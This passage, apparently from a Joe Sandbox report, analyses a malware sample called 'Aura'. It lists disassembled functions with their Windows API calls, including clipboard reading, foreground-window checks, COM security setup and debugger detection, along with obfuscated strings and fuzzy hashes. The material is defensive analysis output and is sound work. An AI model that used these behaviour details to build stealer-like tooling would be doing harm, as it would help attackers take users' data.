Opcode Fuzzy Hash: 0dce492cfbd86a176259a181f0088ba352bd8f2e61f649e0302a60f399a4b98f
Instruction Fuzzy Hash: 3C11E07420C7E28ACB358B28D5947BBBBE0AFD6304F54491EC0CECB281D77890468B56

Function 00433302 Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00433350
GetSystemMetrics.USER32 ref: 0043335F

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: e0ea79f32d4207d9c0cacc6129b78ccc2307d9fbf27c87ca22ba5cae7e36243d
Instruction ID: 1dfa69e5bb6715dccf0da08de28a71486c821f0b536322e468d5cb84a4a9e986
Opcode Fuzzy Hash: e0ea79f32d4207d9c0cacc6129b78ccc2307d9fbf27c87ca22ba5cae7e36243d
Instruction Fuzzy Hash: 613152B4E142089FDB40EFACD985A9DBBF0BF48304F114569E458E7360E774A944CF96

Function 0043D1AA Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043D1AA
GetForegroundWindow.USER32 ref: 0043D1C0

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: c4e5699213e8c8392b4d3a6b569e32cded55f0697a2c8afc432cfcaf34d365f3
Instruction ID: 3dbaf8c9d4b4cdac177c22d0d0fe4f5d6608661041d7d8772ec8f984dcac4e78
Opcode Fuzzy Hash: c4e5699213e8c8392b4d3a6b569e32cded55f0697a2c8afc432cfcaf34d365f3
Instruction Fuzzy Hash: ADD027FDD5310057C94C5B31ED1E41F36119B9B355714443DF40342372CD594807C54A

Function 0043CF20 Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B481,00000000,?), ref: 0043CF52

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7f3820e98a24e56921eea2794d8514486a620388b301369882b321bfb5007782
Instruction ID: c4c6d5ac5a7046e1c04a2e0ad53a0c9e2ada00cb9aac4fe49d4db54e1692947d
Opcode Fuzzy Hash: 7f3820e98a24e56921eea2794d8514486a620388b301369882b321bfb5007782
Instruction Fuzzy Hash: 2EF0E976509211DBD2102F357C02B6B3664EF9B314F05183AF90162262DB38D401C6DF

Function 004324EF Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432534

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0c357cb78a10ff4b601ec592c0478845f0acacc15cc90f3d924e81932a5521e4
Instruction ID: 7847bb4a7bd209f11415ef5ca367ee99660b6cebd6875d82417a713686dd90f6
Opcode Fuzzy Hash: 0c357cb78a10ff4b601ec592c0478845f0acacc15cc90f3d924e81932a5521e4
Instruction Fuzzy Hash: BCF0F4B46087018FE314DF29D5A875EBBE0AF85304F10881DE4A98B390C7B99A498F82

Function 0042F568 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F5B0

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 43b39e7b89dcea8cb4d23f6fcea4062702254718ce9a141239979cc04b17bcb7
Instruction ID: 96b0ab723c267d360180f15b5477e76b580b839288d4f0db16b7bd8258451ab1
Opcode Fuzzy Hash: 43b39e7b89dcea8cb4d23f6fcea4062702254718ce9a141239979cc04b17bcb7
Instruction Fuzzy Hash: 6CF0F4B46097028FD301CF24C5E470BBBE4BF89308F10881CE1900B355C3B5A649CF82

Function 0040C865 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C877

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 28478618b8bf013e95b7138ec7a52dc306bad92f05b26cb4ec7a7e52e234d450
Instruction ID: 1e3e2e598fd455d471313fdc32214382811b636f90739155dff12dd62cbeea8f
Opcode Fuzzy Hash: 28478618b8bf013e95b7138ec7a52dc306bad92f05b26cb4ec7a7e52e234d450
Instruction Fuzzy Hash: 97E05E79BC52047BF6284B18DD43F84220243C6B21F3D8224B310EE7D8CDF8A012420D

Function 0040C830 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C843

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 9db20bcde595f6b808fc88834a66c7a984b9a00e406f242fa5d17b3b7a9d0ad7
Instruction ID: e5954fe18ae31227c9ebc57c7171ed4deaa3088f77e6c40460de058f9c649bee
Opcode Fuzzy Hash: 9db20bcde595f6b808fc88834a66c7a984b9a00e406f242fa5d17b3b7a9d0ad7
Instruction Fuzzy Hash: F2D05E256A41446BD348A76DAC46F2236989B87716F840239F252966D2E9506810C26A

Function 0043B4A0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0040AF96,?), ref: 0043B4BE

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 429c131509c383a8080d6349d90cad9e8071549669016c5803abf4d1718e22ef
Instruction ID: 58de357fc96c06f87596776b9ae076427f094bf4a21e5fbafae531d5480062ca
Opcode Fuzzy Hash: 429c131509c383a8080d6349d90cad9e8071549669016c5803abf4d1718e22ef
Instruction Fuzzy Hash: 1AD0127140A922EBC7101F15FC07B9A3A64EF09761F070865F4406B0B1C634DC51DAD8

Function 0043B47F Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043B489

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e101f999de7608f65741e262228b5bb0f7081bf9408d8d083b24d78faad8d434
Instruction ID: 74af769b7eed74eb0bbf98d3c0715bab597ac674c92011b1c0092895a3fe5e5d
Opcode Fuzzy Hash: e101f999de7608f65741e262228b5bb0f7081bf9408d8d083b24d78faad8d434
Instruction Fuzzy Hash: 4CB00274156515B9E17127115CD5F7F1D6CDF47ED5F100058B204140D04E545401D57E

Function 0043B485 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043B489

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e673e6dd3fec5261cced75f808d9bb89ecabcd96bcb259183d1e251c2252e486
Instruction ID: 1c973efff51b4848ffeff69cb2d809a45373ecc0414c0770032ce1ef959c8293
Opcode Fuzzy Hash: e673e6dd3fec5261cced75f808d9bb89ecabcd96bcb259183d1e251c2252e486
Instruction Fuzzy Hash: 0DA00274156511F9D16127115C95F7F2968AB47A95F100068A204140A04E645001D56E

Non-executed Functions

Function 00419BE0 Relevance: 15.3, APIs: 2, Strings: 6, Instructions: 1330COMMON

Download Yara Rule

APIs

Part of subcall function 0043CFA0: LdrInitializeThunk.NTDLL(004401FA,00000002,00000018,?,?,00000018,?,?,?), ref: 0043CFCE

FreeLibrary.KERNEL32(?), ref: 0041A22A
FreeLibrary.KERNEL32(?), ref: 0041A2AB

Strings

M"O, xrefs: 00419F78
pq, xrefs: 00419F80
kjih, xrefs: 00419C33
kjih, xrefs: 0041AA66
fI.K, xrefs: 00419F70
kjih, xrefs: 0041A14D

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: M"O$fI.K$kjih$kjih$kjih$pq
API String ID: 764372645-57064758
Opcode ID: ca8ec4aa3c6a2665215101971d6ba1bdbaeb8bf3706cfe3159db190018bb5402
Instruction ID: fd54df58326f29ab5dcbf35c0345235bb947318f3f37ecb71676f87aa7f67674
Opcode Fuzzy Hash: ca8ec4aa3c6a2665215101971d6ba1bdbaeb8bf3706cfe3159db190018bb5402
Instruction Fuzzy Hash: 469269756093405FE7108F54D8807BBBBE2EBD5720F28C82EE5C497391D6799C82CB9A

Function 00424200 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 231COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 004242DA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,-71D32B14), ref: 00424355

Strings

7KE, xrefs: 0042422A
_Y, xrefs: 00424242
WQ, xrefs: 00424252
RDB, xrefs: 00424448
.sM, xrefs: 0042421A
@AF, xrefs: 00424399

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: .sM$7KE$RDB$@AF$WQ$_Y
API String ID: 237503144-2889437315
Opcode ID: fd78b8c373c58d299f0efd85543560d449a9ccfd47c3bf4ca4055bad2ee08b59
Instruction ID: 85809d692e9afabcf63d0d0bcf8913d9c1483266ef3a87abd0c9896b8c6eff8a
Opcode Fuzzy Hash: fd78b8c373c58d299f0efd85543560d449a9ccfd47c3bf4ca4055bad2ee08b59
Instruction Fuzzy Hash: D58102B52083509FE710CF28E84175FBBE0FB86718F11883DF5959B281D775890A8B9B

Function 00415C3B Relevance: 11.9, Strings: 9, Instructions: 665COMMON

Download Yara Rule

Strings

>"0, xrefs: 00415C7A
MfA, xrefs: 00416646
2)!*, xrefs: 00415C6F
L4, xrefs: 00416020
nVA, xrefs: 00415D9D
kjih, xrefs: 00416003
L4, xrefs: 004163F0
'+5>, xrefs: 00415C64
41##, xrefs: 00415C85

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: '+5>$2)!*$41##$>"0$MfA$kjih$nVA$L4$L4
API String ID: 0-3043129773
Opcode ID: ea301c221e4f7209e4005bd83a573e57ebd9b891a4b9fdff834431d860e3db60
Instruction ID: fcf332fa4094b6d4c8e6d19021d207cb0fce23afcc655588a84ff703f5482b79
Opcode Fuzzy Hash: ea301c221e4f7209e4005bd83a573e57ebd9b891a4b9fdff834431d860e3db60
Instruction Fuzzy Hash: CE224676A09252CFD724CF28C8507AFB7E2ABC5304F1A893ED49997351DA38DC45CB86

Function 000C1287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(00000000,?,000BE58D), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000,?,?,00000028,000B8363), ref: 000BC210

GetUserDefaultLCID.KERNEL32 ref: 000C138F
IsValidCodePage.KERNEL32(00000000), ref: 000C13CD
IsValidLocale.KERNEL32(?,00000001), ref: 000C13E0
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 000C1428
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 000C1443

Strings

,K, xrefs: 000C133C

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K
API String ID: 415426439-2737474789
Opcode ID: 516ad1bb0e5bf431ef7605fe434c75c7ee634f0ef6f00fba185b149f42b675d2
Instruction ID: 503a076f0861a96d20e783e9545d4de9ecd99f2d95e561a8483d9d6e3f0a2e60
Opcode Fuzzy Hash: 516ad1bb0e5bf431ef7605fe434c75c7ee634f0ef6f00fba185b149f42b675d2
Instruction Fuzzy Hash: F8516B71A00216ABEB60EFA5CC45FFE77B8AF06704F14446EF905EB192E7709A41CB61

Function 004092A0 Relevance: 10.4, Strings: 8, Instructions: 369COMMON

Download Yara Rule

Strings

\EEZ, xrefs: 004092ED
I3_1, xrefs: 004093DE
fJG], xrefs: 004092D5
SZVm, xrefs: 004092DD
S_SY, xrefs: 004093F6
v, xrefs: 004092F5
KJ, xrefs: 00409460
Xjbn, xrefs: 00409406

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: I3_1$KJ$SZVm$S_SY$Xjbn$\EEZ$fJG]$v
API String ID: 0-857426366
Opcode ID: 83eb09dffcbbdc965478d9f71f007973de22261fc9de05b1123d5afc216dca86
Instruction ID: f42e5032e00e911cfcbd82df24bde4ae6fb01620b43778d51bef518939847aa5
Opcode Fuzzy Hash: 83eb09dffcbbdc965478d9f71f007973de22261fc9de05b1123d5afc216dca86
Instruction Fuzzy Hash: 72B1D47160C3914AD726CF2988503ABBFE19F97344F0899ADE4D5AB383C23DC906C756

Function 00432C00 Relevance: 9.2, APIs: 6, Instructions: 157clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00432C22
GetClipboardData.USER32 ref: 00432C43
GlobalLock.KERNEL32 ref: 00432C60
CloseClipboard.USER32 ref: 00432DE1

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: Clipboard$CloseDataGlobalLockOpen
String ID:
API String ID: 1494355150-0
Opcode ID: 38ddb1ce13d4ad96419e6f72ad5d578662d1422aa4eeb45f494bb9f640afa450
Instruction ID: 4b4268758659fb9edbbb30050a8655cc6678ffe48e55207d2636374afee827fe
Opcode Fuzzy Hash: 38ddb1ce13d4ad96419e6f72ad5d578662d1422aa4eeb45f494bb9f640afa450
Instruction Fuzzy Hash: 505127B1904B518FD700AF78C94939EBFE0AF09314F04863AD49597281D3BC9959C797

Function 000C1A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,000C13BD,?,00000000), ref: 000C1AA0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,000C13BD,?,00000000), ref: 000C1AC9
GetACP.KERNEL32(?,?,000C13BD,?,00000000), ref: 000C1ADE

Strings

OCP, xrefs: 000C1A5B
ACP, xrefs: 000C1A25

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 44480b048ff8173efdc9466ef31d6e3659c5c5b0a5dd4ef83a7aef351cbcdea3
Instruction ID: c443a44740d2f7e57ebe9216f0cfb535656bd4d06e068a57a1795c44f523445c
Opcode Fuzzy Hash: 44480b048ff8173efdc9466ef31d6e3659c5c5b0a5dd4ef83a7aef351cbcdea3
Instruction Fuzzy Hash: 85216232A06100AAE774CB54C900FDF73EAEF56B54B56846DE90AD7216E732DD40C752

Function 0042B3C0 Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

Pk, xrefs: 0042B5A8
', xrefs: 0042B452
CJMx, xrefs: 0042B4C1
LL[R, xrefs: 0042B4CC
t, xrefs: 0042B5B2
UgRQ, xrefs: 0042B587

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: '$CJMx$LL[R$Pk$UgRQ$t
API String ID: 0-841269659
Opcode ID: ad6ac4a83ce9c7b2206c5238d969d6c841d12ab1a149e2618a8805dbebfd9730
Instruction ID: a27ab65c82591e32e6bf893d3bde866ba41d28cee15bcb772b57012cf8e8fd86
Opcode Fuzzy Hash: ad6ac4a83ce9c7b2206c5238d969d6c841d12ab1a149e2618a8805dbebfd9730
Instruction Fuzzy Hash: 7B81CEB460D3918BD3358F29A5A13EBBFE1EF96300F18495DD4D94B392C739840A8B97

Function 000A1FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000A1240: _strlen.LIBCMT ref: 000A12BA

GetFileSize.KERNEL32(00000000,00000000), ref: 000A2046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 000A206B
CloseHandle.KERNEL32(00000000), ref: 000A207A
_strlen.LIBCMT ref: 000A20CD
CloseHandle.KERNEL32(00000000), ref: 000A21FD

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: d0cea5f1561d445e8008f6cbaec540af8ddf8a3b29587dd297239cc55a9886fc
Instruction ID: 741cd4ce61ef1e50424acaa822b5e3660d532e06d3bdefa6b709c5b59763b149
Opcode Fuzzy Hash: d0cea5f1561d445e8008f6cbaec540af8ddf8a3b29587dd297239cc55a9886fc
Instruction Fuzzy Hash: 9571B2B2D002149BDB10DFA8DC44BEEBBB5FF5A310F140629E815A7392E7359945CBA1

Function 00426E50 Relevance: 6.8, Strings: 5, Instructions: 600COMMON

Download Yara Rule

Strings

}, xrefs: 004274B0
?ohm, xrefs: 00427400
0pB, xrefs: 00427372
r?, xrefs: 00426E6A
:8!v, xrefs: 00426F4D

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: 0pB$:8!v$?ohm$r?$}
API String ID: 0-2715177541
Opcode ID: 749cc9b2b166e2aefd78e54216929a7a1d54e2de09e8ea6fbb84eebd505d5f3a
Instruction ID: 27fefe2fbb4672028c34b568132a3d04d557551c2bb752c391d38c84f1a92060
Opcode Fuzzy Hash: 749cc9b2b166e2aefd78e54216929a7a1d54e2de09e8ea6fbb84eebd505d5f3a
Instruction Fuzzy Hash: 621266B2A183918BD714CF29D85126BB7E1EFD6304F09896EE8D5C7382D739D805CB86

Function 0041C051 Relevance: 6.7, Strings: 5, Instructions: 455COMMON

Download Yara Rule

Strings

tz, xrefs: 0041C3A8
%xy~, xrefs: 0041C3AF
.L!r, xrefs: 0041C39A
E], xrefs: 0041C152
E], xrefs: 0041C3F2

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: %xy~$.L!r$E]$E]$tz
API String ID: 0-4134713695
Opcode ID: 8be511cfeaf7478c689c94cf0d6a1a9b7ea702216c27cb980bac304771c85408
Instruction ID: 893324274ff4417acd688581e0214f6c4df399dd6a88d7d17f1ef9b959fda1b6
Opcode Fuzzy Hash: 8be511cfeaf7478c689c94cf0d6a1a9b7ea702216c27cb980bac304771c85408
Instruction Fuzzy Hash: E2D1DFB0940B019FC320DF39C992663BFB1FF16300B54866DD4D68B755E338A459CBA6

Function 004096A0 Relevance: 6.6, Strings: 5, Instructions: 391COMMON

Download Yara Rule

Strings

_[G], xrefs: 004098F5
4D582023FB8F39D4C0B9CBDD268CC7CD, xrefs: 0040976E
_[G], xrefs: 00409840, 00409768
y{, xrefs: 0040991F
,-, xrefs: 004099C7

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: ,-$4D582023FB8F39D4C0B9CBDD268CC7CD$_[G]$_[G]$y{
API String ID: 0-2018755797
Opcode ID: 9edd87a1e525675c0c32356b88bb5c69c29a2f3fa61c5e596b79bb2793044053
Instruction ID: 6c32fc5b9f6112090130227e0787eee7bd849e3471c3c2ea16adaf94930d4e34
Opcode Fuzzy Hash: 9edd87a1e525675c0c32356b88bb5c69c29a2f3fa61c5e596b79bb2793044053
Instruction Fuzzy Hash: 4DC1177261C3808BD718DF26D89166BBBE6EBD1314F18883DE0D19B382DA3CD509CB16

Function 000B9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511003796.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3511036876.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 03eddda0b4bb5e0c87c425c40f5d660c5c5031d488aa6ab431d8ae86b7d2b0ce
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 5C023971E012199BDF14CFA9C880AEEBBF5FF49314F248269E519E7341D731AA45CB90

Function 000AF8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 000AF8F5
IsDebuggerPresent.KERNEL32 ref: 000AF9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000AF9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 000AF9E4

Memory Dump Source

Source File: 00000002.00000002.3510888592.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.3510866003.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510949164.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510967833.00000000000DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.3510987105.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
